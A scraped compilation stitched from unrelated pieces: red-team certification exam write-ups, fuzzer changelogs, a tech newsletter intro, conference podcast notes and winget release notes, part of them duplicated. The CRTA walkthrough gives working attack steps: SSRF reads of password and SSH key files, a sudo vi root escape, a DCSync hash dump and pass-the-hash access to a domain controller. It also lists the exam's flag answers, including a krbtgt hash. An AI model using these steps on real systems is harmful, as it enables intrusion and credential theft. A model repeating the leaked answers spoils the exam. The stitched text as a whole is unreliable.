• jwt.io — JWT token decoding and manipulation
• curl — Manual request crafting
• xxd + base64 — Multi-layer decoding

Key Lessons Learned

1. Always check JWT algorithm first.
none algorithm is a well-known vulnerability but still appears in real applications. Check jwt.io immediately whenever you see a JWT cookie.

2. CAPTCHA bypass ≠ brute force.
The CAPTCHA here wasn’t bypassed — it was used strategically. Solving it correctly to enumerate valid usernames, then using SQLi for the actual bypass, is cleaner than fighting the CAPTCHA itself.

3. Multi-layer encoding is intentional.
The hex → Base64 → plaintext chain in the SSRF response is designed to make you think before you decode. Know your encoding formats: hex, Base64, URL encoding.

4. OAuth scope parameters are user-controlled.
Never trust client-side scope values. Changing read to admin in a request shouldn't work - but it does in misconfigured systems. Always test scope escalation in OAuth flows.

5. OTP brute force only works if the OTP doesn’t change.
The application’s fatal flaw was issuing the same OTP code repeatedly. In a secure implementation, OTPs expire and change with each request. This is a real-world vulnerability class, not just a CTF trick.

Final Thoughts

Web-RTA is a solid entry-level web security certification. The attack chain is realistic — JWT manipulation, SQLi, XXE, SSRF, and OAuth abuse are all vulnerabilities you’ll encounter in real bug bounty targets and penetration tests.

It’s not the hardest exam. But it tests whether you can chain vulnerabilities together under a black-box scenario — and that skill is what separates someone who’s memorized OWASP Top 10 from someone who can actually exploit it.

If you’re preparing: be comfortable with Burp Suite, understand JWT structure deeply, and practice SSRF + XXE payloads from PortSwigger Web Security Academy. Everything else in this exam flows naturally from those skills.

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

Web-RTA Exam Writeup — Passed | CyberWarFare Labs was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Certification: CRTA (Certified Red Team Analyst)
Issued by: CyberWarFare Labs (CWL)
Difficulty: Intermediate
Format: Practical, black-box exam with a live lab environment
Author: Shikhali Jamalzade

Introduction

The CRTA (Certified Red Team Analyst) exam by CyberWarFare Labs is a fully hands-on, black-box red team assessment. There are no multiple-choice questions. You either root the machine and collect the flags — or you don’t pass.

The exam consists of a live VPN-connected environment. Your goal: compromise a multi-layer infrastructure, escalate privileges, move laterally, and ultimately retrieve a secret.xml file from the Domain Controller's Administrator Desktop.

This writeup documents the full attack chain I used to pass the exam — step by step. If you’re preparing for CRTA, this should give you a clear picture of what to expect and how to approach it.

Disclaimer: This writeup is published after the exam was passed. Nothing here compromises exam integrity — CWL explicitly allows sharing methodology. No credentials or flags are disclosed in full.

Exam Environment

VPN Scope:         172.26.10.0/24
Out of scope:      172.26.10.1 (gateway — do not touch)
Initial target:    172.26.10.11
Internal network:  10.10.10.0/24 (discovered later)
Domain Controller: 10.10.10.100

The lab is accessed via an .ovpn file provided after purchasing the exam. Once connected, you begin with a completely blank slate — no hints, no starting point given explicitly.

Phase 1 — Reconnaissance

Network Discovery

After connecting to the VPN, the first step is always to identify live hosts:

bash

nmap -sn 172.26.10.0/24

This revealed one live host: 172.26.10.11

Port Scanning

bash

nmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txt

Key open ports discovered:

22/tcp    SSH   (OpenSSH)
23100/tcp HTTP  (Python Flask application)
8091/tcp  HTTP  (HotHost monitoring service)

Phase 2 — Web Application Analysis

Flask App on Port 23100

Navigating to http://172.26.10.11:23100 revealed a Python Flask web application. Exploring the routes manually and with directory fuzzing, a critical endpoint was discovered:

/fetch

This endpoint accepted a URL parameter and fetched its content — a classic SSRF (Server-Side Request Forgery) setup.

bash

curl "http://172.26.10.11:23100/fetch?url=http://127.0.0.1/"

SSRF → Local File Read

The SSRF vulnerability allowed using the file:// URI scheme to read files from the host filesystem. The hostfs prefix was needed due to the application running inside a Docker container:

bash

curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"

This returned the /etc/passwd file of the host machine — not just the container. Scanning the output revealed a critical user:

app-admin:x:1001:1001::/home/app-admin:/bin/bash

Continuing to read sensitive files via SSRF:

bash

curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.ssh/id_rsa"
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config"

After reading application configuration files through SSRF, the plaintext password for app-admin was found:

app-admin : @dmin@123

Phase 3 — Initial Access via SSH

With valid credentials, SSH access was straightforward:

bash

ssh app-admin@172.26.10.11

Successful login. We now have a shell on the target host.

Phase 4 — Privilege Escalation

sudo -l

The first command after any initial access:

bash

sudo -l

Output:

User app-admin may run the following commands on this host:
    (ALL : ALL) NOPASSWD: /usr/bin/vi

vi with sudo and NOPASSWD — a textbook GTFOBins escalation.

GTFOBins — vi → root

bash

sudo /usr/bin/vi -c ':!/bin/bash'

Inside vi, executing shell escape:

:set shell=/bin/bash
:shell

Or more directly:

:!/bin/bash

Root shell obtained on 172.26.10.11.

Phase 5 — Docker Container Enumeration

Now as root, the environment needed deeper exploration. Running processes and network interfaces revealed something important:

bash

ip addr show
ifconfig
docker ps

Two Docker containers were running on the host:

Container    Service                    Port
HotHost      Monitoring service         8091 (internal)
Python app   Flask SSRF application     23100

HotHost Container (Port 8091)

The HotHost monitoring service on port 8091 (not 23100 — this distinction matters for the exam flags) contained a configuration file:

bash

docker exec -it <hothost_container_id> /bin/bash
cat /hothost.json

hothost.json contained an MD5 hash for the database password:

665a26fad71ea9ef3edf5f33195d4b31

Base64 Encoding of the Hash (Flag)

One of the exam questions requires the Base64 encoding of this hash — but as binary, not as the hex string. The correct conversion:

bash

echo "665a26fad71ea9ef3edf5f33195d4b31" | xxd -r -p | base64

Result:

Zlom+tceqe8+318zGV1LMQ==

Key lesson: The exam asks for Base64 of the binary representation of the MD5 hash — not Base64 of the hex string. This tripped me up initially.

Phase 6 — Lateral Movement & Network Pivoting

Discovering the Internal Network

Reading the SSH auth logs revealed connections originating from an internal IP:

bash

cat /var/log/auth.log | grep "Accepted"

A recurring IP appeared: 10.10.10.20

This machine was on an internal network segment not visible from the exam’s initial VPN range. From the compromised host (172.26.10.11), this internal network was reachable.

Enumerating 10.10.10.20

bash

nmap -sV -p- 10.10.10.20 --min-rate 3000
curl http://10.10.10.20/
gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirb/common.txt

The /elfinder directory was discovered — a file manager interface.

AD_Resources.txt

Inside the elfinder directory, a file named AD_Resources.txt was found containing Active Directory credentials:

sync_user@ent.corp / Summer@2025

These credentials belonged to a domain user with replication privileges — the key to DCSync.

Domain Controller at 10.10.10.100

With domain credentials in hand, targeting the DC:

bash

nmap -sV -p 445,88,389,636 10.10.10.100

Confirmed: 10.10.10.100 is the Domain Controller for ent.corp.

Phase 7 — DCSync Attack

impacket-secretsdump

Using the sync_user credentials to perform a DCSync attack and dump all domain hashes:

bash

impacket-secretsdump ent.corp/sync_user:'Summer@2025'@10.10.10.100

The output contained all domain account NTLM hashes. The critical ones:

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36405f88da713c31bbff52e57aea1f86:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NT_HASH>:::

The krbtgt NT hash (36405f88da713c31bbff52e57aea1f86) is itself a flag in the exam.

Phase 8 — Pass-the-Hash → Administrator Access

smbclient with Administrator Hash

With the Administrator’s NT hash, Pass-the-Hash (PtH) gives direct access to the DC without knowing the plaintext password:

bash

smbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash <ADMINISTRATOR_NT_HASH>

Retrieving secret.xml

Navigating to the Administrator Desktop:

bash

smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
smb: \Users\Administrator\Desktop\> get secret.xml.txt

secret.xml.txt retrieved. Exam objective complete.

Attack Chain Summary

[VPN] → Nmap scan → 172.26.10.11
         ↓
[Port 23100] Flask App → /fetch endpoint → SSRF
         ↓
[SSRF] file:///hostfs/etc/passwd → credentials (app-admin:@dmin@123)
         ↓
[SSH] app-admin@172.26.10.11
         ↓
[sudo vi] GTFOBins → ROOT on 172.26.10.11
         ↓
[Docker] HotHost (port 8091) → hothost.json → MD5 hash
         ↓
[auth.log] → discovered 10.10.10.20
         ↓
[10.10.10.20] /elfinder → AD_Resources.txt → sync_user@ent.corp creds
         ↓
[DCSync] impacket-secretsdump → krbtgt + Administrator NT hashes
         ↓
[PtH] smbclient → C$\Users\Administrator\Desktop\secret.xml.txt ✅

Key Exam Flags

Flag                    What You Find
SSRF web route          /fetch
Host credentials        Via file:///hostfs/etc/passwd
HotHost TCP port        8091 (not 23100)
DB password hash        Zlom+tceqe8+318zGV1LMQ== (Base64 of binary MD5)
Internal pivot IP       10.10.10.20
Web directory on pivot  /elfinder
DC IP                   10.10.10.100
krbtgt NT hash          36405f88da713c31bbff52e57aea1f86
Final objective         secret.xml.txt from DC Desktop

Tools Used

nmap                  Port scanning and service detection
curl                  SSRF exploitation and web interaction
gobuster              Web directory fuzzing
ssh                   Initial access
vi (GTFOBins)         Privilege escalation
docker                Container enumeration
impacket-secretsdump  DCSync attack
smbclient             Pass-the-Hash, file retrieval
xxd + base64          Hash format conversion

Lessons Learned

SSRF isn’t just about HTTPS — test file:// too. The file:// scheme with hostfs prefix to escape Docker containers is a classic lab trick. Know it.

GTFOBins is not optional knowledge. sudo -l should be your second command after gaining any shell. Always check it.

Log files are goldmines. /var/log/auth.log revealed the internal network. Enumerate everything on a compromised host.

Hash math matters. The Base64-of-binary flag is easy to get wrong. Always confirm what encoding format the question is asking for.

DCSync requires specific privileges. sync_user having replication rights isn't an accident — it's the intended path. When you find AD credentials, check what they can actually do before assuming they're useless.

Final Thoughts

CRTA is a well-constructed exam for anyone entering Active Directory offensive security. The attack chain feels realistic: web app → SSRF → SSH → privesc → lateral movement → DCSync → domain admin. This is the kind of chain you’ll see in real environments.

It’s not an OSCP — the scope is smaller and the hints are somewhat embedded in the lab design — but it’s a solid certification that proves you can chain vulnerabilities together in a live environment.

If you’re preparing: make sure you’re comfortable with SSRF exploitation, Docker container awareness, impacket tooling, and GTFOBins. Everything else follows from those foundations.

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

CRTA Exam Writeup — Passed | CyberWarFare Labs was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

• MacOS persistent mode now uses futex mode now too which increases speed
  and reduces system call overhead (opt out with AFL_FAST_CHILD_SYNC) - this
  requires a MacOS from 2024 onwards.
• afl-fuzz
  • new adaptive MOpt! Much better than the outdated one we still had.
    How good it is still needs to be seen but initially it seems to be
    better than standard havoc
  • enforce halt on UBSAN errors
• afl-cc:
  • enforce halt on UBSAN errors (AFL_USE_USBAN=1)
  • better cmplog on MacOS
  • removed unsupported LLVM version code paths from afl-cc and llvm passes
  • compcov: fixes for float splittings (thanks to @ngg)
• nyx_mode:
  • fix nyx_mode issues (thanks to @morehouse)
• qemu_mode:
  • non-colliding coverage!
  • faster persistent fuzzing
  • minor bug fixes
• qemu_bridge:
  • new mode with current QEMU version, so plugins possible, new processors
  • sightly slower than qemu_mode
  • WIP!

• capture error for mapping by @javanlacerda in #5325
• Guard Fuzzing Tasks Behind ENABLE_FUZZ_FOR_BOTS Feature Flag by @javanlacerda in #5328

Full Changelog: v2.33.6...v2.33.7

Hi and welcome to TechScape. Nick Robins-Early here, US tech and power reporter at the Guardian. I’m filling in for your usual host Blake Montgomery, who is out this week on vacation.

Today, we’ll be talking about the historic SpaceX IPO and the US government’s surprise order to limit the use of Anthropic’s most advanced AI model over cybersecurity concerns. I’ll also share a dispatch from Web Summit Rio, South America’s largest tech event.

SpaceX makes largest ever stock market debut, minting Musk as a trillionaire

After SpaceX’s huge IPO, Americans’ financial future will be bound to AI

How much money did Elon Musk make in SpaceX’s stock market debut?

T-DOSE

TDOSE 2027

Mark you calendars #TDOSE 2027 on 5 and 6 June '27 in the Weeffabriek, Geldrop.

• T-DOSE
• Info Booth
• Hackalot
• Laptop Revive
• Free Software Foundation Europe
• Doeidag and Banray
• Debian
• Angry Nerds Podcast
• Freie Software Freunde - Free Your Model Train
• Hacker Public Radio: The community Podcast
• UBports
• Adfinis
• Credits

The Technical Dutch Open Source Event (T-DOSE)

In hpr4641 :: Technical Dutch Open Source Event (T-DOSE) , Ken interviewed Peter van Ginneken about the T-DOSE conference.

The Technical Dutch Open Source Event (T-DOSE) is a free conference to promote the use and development of Open Source software. This event has is organised yearly since 2006 in the Brainport region, near Eindhoven, The Netherlands. During this event, Open Source projects, developers and visitors can exchange ideas and knowledge.

Peter van Ginneken Opens the Event.

We catch up with him at the start of Day 2.

Info Booth

The backbone of any event is the Info booth and catering.

Here we talk to Nick Hibma who when not serving on the Info Booth is treasurer of the T-DOSE organisation.

Ready to serve sandwitches, sell T-Shirts, Magic Mugs, and club-mate

T-Shirts

club-mate

Magic Mugs

Hackalot

Hackalot is the Eindhoven and surrounding area hackerspace. A hackerspace is a place where hackers can work on their own or collaborative projects. You can work and talk together, but you can also do your own thing. Together we can also purchase a lot of cooler tools such as lasercutters and 3d printers. Often there is no suitable place for equipment at home. So if you know someone, you are either an electronics/computer/technical hobby that got out of hand, come on by!

Boekenwuurm at the Hackalot stand.

The Hackalot stand.

• Boekenwuurm@hsnl.social
• boekenwuurm.nl
• Hackalot

Laptop Revive

Laptop Revive collects discarded laptops, that are still working. We then install Linux Mint to provide a working laptops to students who cannot afford laptops. We are socially involved, sustainable and open.

Alex Kok Laptop Revive

• Laptop Revive

Free Software Foundation Europe

Free Software Foundation Europe (FSFE) information booth, with information material, stickers and merchandise.

Nico was so busy that we were unable to snag an interview this time. However check out our talk with him at the NLUUG Spring Conference 2026 .

• Free Software Foundation Europe

Doeidag and Banray

We also interviewed Geert-Jan Meewisse in hpr4639 :: NLUUG Spring Conference 2026 but this time he is here talking about banray.eu

In 2025, Meta sold over seven million pairs of camera-equipped glasses that look like regular Ray-Bans. The person wearing them looks like anyone else. But these people are now products, as is everyone they interact with.

He then also mentioned the Doeidag project where they encourage people to drop one service at a time on the first Sunday of the month

• https://doeidag.nl/
• https://banray.eu/

Geert-Jan Meewisse Doeidag and Banray

Debian

The Debian Project is an association of Free Software developers who volunteer their time and effort in order to produce the completely free operating system Debian.

Ken Talks to Joost van Baal Llić from the Debian Project

Debian

Angry Nerds Podcast

Angry Nerds, met extra cyber!

The Angry Nerds is a Dutch Language podcast about privacy and security

It's a live show that is topical and often humorous tech podcast where a group of enthusiastic nerds discusses current technology, IT and cybersecurity topics. The hosts combine technical depth with background conversations, humor and the occasionally a good dose of cynicism. Expect conversations about everything from network infrastructures to software development, from privacy issues to bizarre tech trends.

Ken on the Angry Nerds Podcast

You can listen to the recording at Angry Nerds op T-DOSE 2026 deel 2 (prikkelarme versie).

• Angry Nerds Podcast

Freie Software Freunde - Free Your Model Train

We are a non-profit organization. We are committed to Free Software and Open Standards. Software is not just technology, it's an important part of our daily life.

We want to raise awareness of the importance of Free Software and Open Standards. That is why we are concerned with topics outside of technology: politics, education, ethics, psychology, ecology and economics, licenses, ... One of our projects is "Free your model train". Our goal is to raise awareness of the benefits of open standards.

Birgit Hücking (@akkolady) standing at the freie-software.org

The freie-software.org table with two large train loops, a smaller internal one. Two knitted Tux Mascots. And a lot of information.

Close up of the two knitted Tux Mascot.

• @akkolady@chaos.social
• @FreieSoftwareFreunde@mastodon.social
• Freie Software Freunde
• Free Your Model Train
• https://fymt.de

Hacker Public Radio: The community Podcast

Hacker Public Radio is a technology focused podcast that releases shows every weekday Monday to Friday. Our shows are created by people like you, and can be on any topic that is of interest to hackers, hobbyists, makers, etc. We are a welcoming community that offers positive feedback and encourages respectful debate. This is our 21st year of operation, and we will release our 5,000th show in August. Everything we do is released under a Free Culture License. We do not vet, edit, moderate or in any way censor any of the audio you submit, we trust you to do that. We will be available to guide you in sharing your knowledge with the community. Having had a stand at FOSDEM (BE), OggCamp(UK), Linux Fest North West(US), Spectrum (FR), we are available to show you how easy podcasting can be. We will be answering your questions, and conducting interviews with anyone with anything interesting to say.

The HPR booth.

• Hacker Public Radio

UBports

We are developing an open source Linux mobile OS built to be your daily driver... ...and we'd like to welcome you to our community.

Next up is a chat with Sander Klootwijk about UBports and Ubuntu Touch. Their website has a list of supported devices .

We talk with Sander Klootwijk

Proof it's running on actual hardware

Yumi The UBports Installer Mascot was not available for comment.

Ubuntu Touch on a Fairphone

• @BallonQuartier@mastodon.nl
• UBports
• https://devices.ubuntu-touch.io/

Adfinis

Accelerate your business with open source-driven automation, security, cloud, and DevSecOps solutions from Adfinis, your end-to-end partner for robust, flexible IT that drives growth and innovation at any scale. Welcome to Our World Full of Open Source

At Adfinis, we believe in the transformative power of open source technology to foster innovation, transparency, and collaboration. We are committed to providing solutions free from vendor lock-in, ensuring our clients retain full control and flexibility over their systems. Digital sustainability lies at the heart of our approach, as we strive to create technologies that not only serve the present but also support a long-term, environmentally responsible future. Additionally, we champion digital sovereignty, empowering organizations and communities to own and control their data, infrastructure, and technological destiny. These principles drive us to build a more open, sustainable, and inclusive digital world.

Finally we chat to Coen hamers , Robert de Bock , and Annebelle van Waardenburg from Adfinis whose sponsorship made the event possible.

• https://www.adfinis.com/en/solutions
• https://www.adfinis.com/en/career

Credits

• Record Needle Rip
• Free Software Song

Provide feedback on this episode.

• [Swarming] Crash service on startup by @IvanBM18 in #5285
• Remove blackbox fuzzing debug logs by @PauloVLB in #5316
• Revert "Defer fuzzer logs to postprocess (#5311)" by @PauloVLB in #5322
• [Swarming] Adds Response proto & discards tasks with missing dimensions by @IvanBM18 in #5289

Full Changelog: v2.33.5...v2.33.6

New in v1.28

• Bumped the winget version to 1.28 to match the package version.
• Additional options for limiting the size of log files.

New Feature: 'source edit'

New feature that adds an 'edit' subcommand to the 'source' command. This can be used to set an explicit source to be implicit and vice-versa. For example, with this feature you can make the 'winget-font' source an implicit source instead of explicit source.

To use the feature, try winget source edit winget-font to set the Explicit state to the default.

New Experimental Feature: 'listDetails'

The new experimental feature listDetails enables a new option for the list command, --details. When supplied, the output is no longer a table view of the results but is instead a series of show like outputs drawing data from the installed item.

An example output for a single installed package is:

> wingetdev list Microsoft.VisualStudio.2022.Enterprise --details
Visual Studio Enterprise 2022 [Microsoft.VisualStudio.2022.Enterprise]
Version: 17.14.21 (November 2025)
Publisher: Microsoft Corporation
Local Identifier: ARP\Machine\X86\875fed29
Product Code: 875fed29
Installer Category: exe
Installed Scope: Machine
Installed Location: C:\Program Files\Microsoft Visual Studio\2022\Enterprise
Available Upgrades:
  winget [17.14.23]

If sixels are enabled and supported by the terminal, an icon for the installed package will be shown.

To enable this feature, add the 'listDetails' experimental feature to your settings.

"experimentalFeatures": {
    "listDetails": true
},

Bug Fixes

• Portable Packages now use the correct directory separators regardless of which convention is used in the manifest
• --suppress-initial-details now works with winget configure test
• --suppress-initial-details no longer requires --accept-configuration-agreements
• Corrected property of Font experimental feature to accurately reflect fonts as the required setting value

What's Changed

• Update the other TDBuild task by @florelis in #5534
• Use windows-latest agents in localization pipeline by @florelis in #5538
• Bump version to v1.12 by @florelis in #5532
• Allow set foreground from PS by @JohnMcPMS in #5541
• Move to proper signal for dev/not-dev by @JohnMcPMS in #5552
• Use SDK 26100 in CommonCore project by @florelis in #5570
• Repair Repair-WinGetPackageManager by @florelis in #5568
• Use cpprestsdk v2.10.18 by @florelis in #5567
• Undefined-behaviour fix: safely call std::isspace in CompletionData by @mohiuddin-khan-shiam in #5564
• Add missing compilation flags for vcpkg ports by @florelis in #5587
• Add more missing flags for vcpkg by @florelis in #5592
• Swallow provisioned package errors by @JohnMcPMS in #5595
• Update detours vcpkg to use prior version by @JohnMcPMS in #5601
• Remove TestRelease by @JohnMcPMS in #5613
• Handle Byte Order Mark during validation by @Trenly in #5585
• Initial MCP Server implementation by @JohnMcPMS in #5610
• Update release notes for BOM Handling by @Trenly in #5622
• Don't build MCP for fuzzing by @JohnMcPMS in #5625
• Resolve nuget package graph for .NET projects together by @JohnMcPMS in #5627
• Update to latest MCP nuget by @JohnMcPMS in #5633
• Update release notes to mention WinUI dependency change by @florelis in #5656
• Improve COM server quiescing by @JohnMcPMS in #5652
• Improve issue forms & add corresponding label triggers by @mdanish-kh in #5661
• Fix conflict with issue forms by @Trenly in #5663
• Improve COM static store usage by @JohnMcPMS in #5680
• Update schema to 1.12 with Font InstallerType by @dkbennett in #5687
• Download MS Store package for target OS by @JohnMcPMS in #5689
• Fixes for older OSes by @JohnMcPMS in #5691
• Add RestSource and tests for Manifest v1.12 by @dkbennett in #5695
• Improve slow searches involving installed items by @JohnMcPMS in #5701
• Shorter default installer log filename by @JohnMcPMS in #5705
• Add the ARP correlation entry to the context for portable installs by @JohnMcPMS in #5707
• Fix two unrelated version issues by @JohnMcPMS in #5719
• Heal tracking database if it can't open by @JohnMcPMS in #5724
• MS Store cert pinning updates by @JohnMcPMS in #5732
• Update MCP GP name by @JohnMcPMS in #5736
• Add workflow for automatic issue deduplication by @cinnamon-msft in #5738
• moving workflow to parent by @denelon in #5740
• Cache information responses from REST sources by @JohnMcPMS in #5726
• Shared build props by @JohnMcPMS in #5749
• Improve shared props layout by @JohnMcPMS in #5751
• Fix portable path removal on upgrade by @dkbennett in #5756
• Minor update to release notes for v1.12 by @florelis in #5761
• Font Install, Uninstall, additional Font List by @dkbennett in #5566
• Fix install source and final progress by @JohnMcPMS in #5764
• Use winrt for time conversion by @JohnMcPMS in #5763
• Change label_as_duplicate to false in workflow by @Trenly in #5773
• Remove openssl from sfsclient cgmanifest by @florelis in #5775
• Add admin check to uninstall of machine font by @dkbennett in #5779
• Add Font source group policy support by @dkbennett in #5646
• Improve window thread termination by @JohnMcPMS in #5781
• Fix portable installer issues when installing to non ascii path by @yao-msft in #5788
• Remove experimental from Font Install, Uninstall, and source by @dkbennett in #5791
• Update NOTICE by @JohnMcPMS in #5801
• Update localized strings by @florelis in #5805
• Bump version to 1.28 by @florelis in #5787
• Move to latest 7.4 PS SDK by @JohnMcPMS in #5811
• Enable MultiProcessorCompilation by @Trenly in #5804
• Remove mention of WinGet Insider program from the README by @florelis in #5832
• Ignore ReleaseStatic outputs and clean intermediates by @JohnMcPMS in #5848
• Make Repair-WGPM a COM-aware cmdlet and rework version retrieval by @JohnMcPMS in #5842
• Unregister signal handler by @JohnMcPMS in #5861
• Support associating export units with packages in subdirectories of install location by @JohnMcPMS in #5859
• Send host geo to sandbox by @JohnMcPMS in #5873
• Update C++ nuget package references using new scripts by @JohnMcPMS in #5877
• Update platform toolset by @florelis in #5882
• Extract event log for potential crash info by @JohnMcPMS in #5807
• Update CODEOWNERS to include winget-developers by @florelis in #5891
• Fixes for VS2026 by @florelis in #5896
• Additional logging limitations and control by @JohnMcPMS in #5888
• Use hybrid CRT linkage instead of full static by @JohnMcPMS in #5913
• Enable source reference to get thread globals for off-thread logging by @JohnMcPMS in #5780
• Fix JSON, missing closing brace by @doterik in #5924
• Test host for in-proc COM module validation by @JohnMcPMS in #5910
• Add sleep to allow background threads to quiesce by @JohnMcPMS in #5933
• Allow suppressing configuration output on test by @Trenly in #5794
• Enable Explicit toggling for sources (i.e. Enable/Disable) by @dkbennett in #5904
• Fix fuzz build by @JohnMcPMS in #5932
• Normalize directory separators when adding packages to path by @Trenly in #5796
• Add sleep to another inproc test by @JohnMcPMS in #5935
• Don't build inproc testbed for fuzzing by @JohnMcPMS in #5937
• Create schema 1.12.0 folder by @Trenly in #5944
• Fix names of 1.12 Schemas by @Trenly in #5945
• Fix Font feature property name by @Trenly in #5946
• Add check to ensure vcpkg triplets match across projects by @florelis in #5950
• Update release notes for v1.28 by @florelis in #5957
• Details output option for list by @JohnMcPMS in #5939
• PowerShell Repair enhancements by @AmelBawa-msft in #5711
• Allow inproc callers to disable termination signal handlers by @JohnMcPMS in #5958
• Add manifest version to WinGetUtilInterop by @msftrubengu in #5964
• Fixes for updating winget from winget by @JohnMcPMS in #5972
• Diagnostics and fix for pipeline test failures by @JohnMcPMS in #5975
• Escape caller in user agent header by @JohnMcPMS in #5998
• Add DSC resource list to manifest by @JohnMcPMS in #5997
• Add command builder with escaped user input by @AmelBawa-msft in #5982
• Add missing closing brace in settings.export.schema.0.1.json by @DuckDuckStudio in #6004
• Turn off PWSH UT build in Fuzzing and ReleaseStatic for all platforms by @AmelBawa-msft in #6005
• Remove experimental feature gate on source edit by @dkbennett in #6006
• Update ReleaseNotes by @florelis in #6007
• Make list details stable (1.28) by @JohnMcPMS in #6021
• Move to IReference rather than custom enum for optional bool (1.28) by @JohnMcPMS in #6024
• Apply latest localization patch (1.28) by @florelis in #6025

New Contributors

• @mohiuddin-khan-shiam made their first contribution in #5564
• @doterik made their first contribution in #5924

Full Changelog: v1.11.400...v1.28.220

New in v1.29

What's Changed

• PowerShell Repair enhancements by @AmelBawa-msft in #5711
• Allow inproc callers to disable termination signal handlers by @JohnMcPMS in #5958
• Add manifest version to WinGetUtilInterop by @msftrubengu in #5964
• Fixes for updating winget from winget by @JohnMcPMS in #5972
• Diagnostics and fix for pipeline test failures by @JohnMcPMS in #5975
• Escape caller in user agent header by @JohnMcPMS in #5998
• Add DSC resource list to manifest by @JohnMcPMS in #5997
• Add command builder with escaped user input by @AmelBawa-msft in #5982
• Add missing closing brace in settings.export.schema.0.1.json by @DuckDuckStudio in #6004
• Turn off PWSH UT build in Fuzzing and ReleaseStatic for all platforms by @AmelBawa-msft in #6005
• Remove experimental feature gate on source edit by @dkbennett in #6006
• Update ReleaseNotes by @florelis in #6007
• Make list details stable by @JohnMcPMS in #6020
• Move to IReference rather than custom enum for optional bool by @JohnMcPMS in #6022
• Apply latest loc patch by @florelis in #6023
• Bump version to 1.29 by @florelis in #6019
• Remove 'listDetails' from release notes for 1.29 by @florelis in #6026
• Update doc as WinGet is not in preview by @Gijsreyn in #5850

Full Changelog: v1.28.110-preview...v1.29.50-preview

New in v1.28

• Bumped the winget version to 1.28 to match the package version.
• Additional options for limiting the size of log files.

New Feature: 'source edit'

New feature that adds an 'edit' subcommand to the 'source' command. This can be used to set an explicit source to be implicit and vice-versa. For example, with this feature you can make the 'winget-font' source an implicit source instead of explicit source.

To use the feature, try winget source edit winget-font to set the Explicit state to the default.

New Experimental Feature: 'listDetails'

The new experimental feature listDetails enables a new option for the list command, --details. When supplied, the output is no longer a table view of the results but is instead a series of show like outputs drawing data from the installed item.

An example output for a single installed package is:

> wingetdev list Microsoft.VisualStudio.2022.Enterprise --details
Visual Studio Enterprise 2022 [Microsoft.VisualStudio.2022.Enterprise]
Version: 17.14.21 (November 2025)
Publisher: Microsoft Corporation
Local Identifier: ARP\Machine\X86\875fed29
Product Code: 875fed29
Installer Category: exe
Installed Scope: Machine
Installed Location: C:\Program Files\Microsoft Visual Studio\2022\Enterprise
Available Upgrades:
  winget [17.14.23]

If sixels are enabled and supported by the terminal, an icon for the installed package will be shown.

To enable this feature, add the 'listDetails' experimental feature to your settings.

"experimentalFeatures": {
    "listDetails": true
},

Bug Fixes

• Portable Packages now use the correct directory separators regardless of which convention is used in the manifest
• --suppress-initial-details now works with winget configure test
• --suppress-initial-details no longer requires --accept-configuration-agreements
• Corrected property of Font experimental feature to accurately reflect fonts as the required setting value

What's Changed

• Update the other TDBuild task by @florelis in #5534
• Use windows-latest agents in localization pipeline by @florelis in #5538
• Bump version to v1.12 by @florelis in #5532
• Allow set foreground from PS by @JohnMcPMS in #5541
• Move to proper signal for dev/not-dev by @JohnMcPMS in #5552
• Use SDK 26100 in CommonCore project by @florelis in #5570
• Repair Repair-WinGetPackageManager by @florelis in #5568
• Use cpprestsdk v2.10.18 by @florelis in #5567
• Undefined-behaviour fix: safely call std::isspace in CompletionData by @mohiuddin-khan-shiam in #5564
• Add missing compilation flags for vcpkg ports by @florelis in #5587
• Add more missing flags for vcpkg by @florelis in #5592
• Swallow provisioned package errors by @JohnMcPMS in #5595
• Update detours vcpkg to use prior version by @JohnMcPMS in #5601
• Remove TestRelease by @JohnMcPMS in #5613
• Handle Byte Order Mark during validation by @Trenly in #5585
• Initial MCP Server implementation by @JohnMcPMS in #5610
• Update release notes for BOM Handling by @Trenly in #5622
• Don't build MCP for fuzzing by @JohnMcPMS in #5625
• Resolve nuget package graph for .NET projects together by @JohnMcPMS in #5627
• Update to latest MCP nuget by @JohnMcPMS in #5633
• Update release notes to mention WinUI dependency change by @florelis in #5656
• Improve COM server quiescing by @JohnMcPMS in #5652
• Improve issue forms & add corresponding label triggers by @mdanish-kh in #5661
• Fix conflict with issue forms by @Trenly in #5663
• Improve COM static store usage by @JohnMcPMS in #5680
• Update schema to 1.12 with Font InstallerType by @dkbennett in #5687
• Download MS Store package for target OS by @JohnMcPMS in #5689
• Fixes for older OSes by @JohnMcPMS in #5691
• Add RestSource and tests for Manifest v1.12 by @dkbennett in #5695
• Improve slow searches involving installed items by @JohnMcPMS in #5701
• Shorter default installer log filename by @JohnMcPMS in #5705
• Add the ARP correlation entry to the context for portable installs by @JohnMcPMS in #5707
• Fix two unrelated version issues by @JohnMcPMS in #5719
• Heal tracking database if it can't open by @JohnMcPMS in #5724
• MS Store cert pinning updates by @JohnMcPMS in #5732
• Update MCP GP name by @JohnMcPMS in #5736
• Add workflow for automatic issue deduplication by @cinnamon-msft in #5738
• moving workflow to parent by @denelon in #5740
• Cache information responses from REST sources by @JohnMcPMS in #5726
• Shared build props by @JohnMcPMS in #5749
• Improve shared props layout by @JohnMcPMS in #5751
• Fix portable path removal on upgrade by @dkbennett in #5756
• Minor update to release notes for v1.12 by @florelis in #5761
• Font Install, Uninstall, additional Font List by @dkbennett in #5566
• Fix install source and final progress by @JohnMcPMS in #5764
• Use winrt for time conversion by @JohnMcPMS in #5763
• Change label_as_duplicate to false in workflow by @Trenly in #5773
• Remove openssl from sfsclient cgmanifest by @florelis in #5775
• Add admin check to uninstall of machine font by @dkbennett in #5779
• Add Font source group policy support by @dkbennett in #5646
• Improve window thread termination by @JohnMcPMS in #5781
